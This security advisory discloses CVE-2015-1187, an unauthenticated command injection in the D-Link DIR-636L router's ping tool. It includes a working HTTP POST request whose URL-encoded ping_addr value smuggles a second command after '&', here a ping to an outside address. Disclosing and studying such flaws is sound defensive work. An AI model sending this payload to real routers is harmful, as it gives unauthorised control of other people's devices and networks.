D-Link DIR636L Remote Command Injection

[Aerosol]

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#
#   SWISSCOM CSIRT SECURITY ADVISORY - http://www.swisscom.com/security
#
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#
# CVE ID:   CVE-2015-1187
# Product:  D-Link DIR636L
# Vendor:   D-Link
# Subject:  Remote Command Injection - Incorrect Authentication
# Effect:   Remotely exploitable
# Author:   Tiago Caetano Henriques, tiago.caetanohenriques AT swisscom.com
#           Stephan Rickauer, Swisscom CSIRT (csirt AT wisscom.com)
# Date:     March 2nd 2015
#
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Introduction
------------
Tiago Caetano Henriques discovered a security flaw in D-link DIR-636L router
that enables an attacker on the same network to execute arbitrary commands
without being authenticated.


Vulnerable
----------
D-Link DIR-636L and possibly other versions as seen on [1].


Patches
-------
None existant at the moment.


Description
-----------
The D-Link DIR636L (possibly others) incorrectly filters input on the 'ping'
tool which allows to inject arbitrary commands into the router. Secondly,
authentication is not being  performed correctly. This enables a remote
attacker to gain full control of the router, for example to attack other
networks in a DDoS style attack, or even expose computers behind these devices
to the internet as you are able to change firewall/nat rules on this router.


Attack vector
-------------
A URL encoded POST request with the values in front of ping_addr= such as the
following, will go through and will execute the command in front of &.
POST /ping.ccp HTTP/1.1
Host: 192.168.0.1
...
X-Requested-With: XMLHttpRequest
Referer: http://192.168.0.1/tools_vct.asp
Content-Length: 64
Cookie:

ccp_act=ping_v4&ping_addr=%31%39%32%2e%31%36%38%2e%30%2e%31%30%37%20%26%20%2f
%62%69%6e%2f%70%69%6e%67%20%39%34%2e%32%33%2e%37%38%2e%32%33%31


Milestones
----------
Nov 30th 2014   Vulnerability discovered by Tiago Caetano Henriques
Dec 18th 2014   Vulnerability reported to Swisscom CSIRT
Jan  7th 2015   CVE ID requested at MITRE
Jan 18th 2015   CVE ID 2015-1187 assigned by MITRE
Feb  2th 2015   Vendor contact established and provided with technical details
Feb 16th 2015   Vendor acknowledged issue and communicates time line for patches
Feb 26th 2015   Full Disclosure by Peter Adkins
Mar  2nd 2015   Forced Public Release of this Advisory due to the previous
                Full Disclosure at [1]

References
----------
[1] https://github.com/darkarnium/secpub/tree/master/Multivendor/ncc2

Source/url]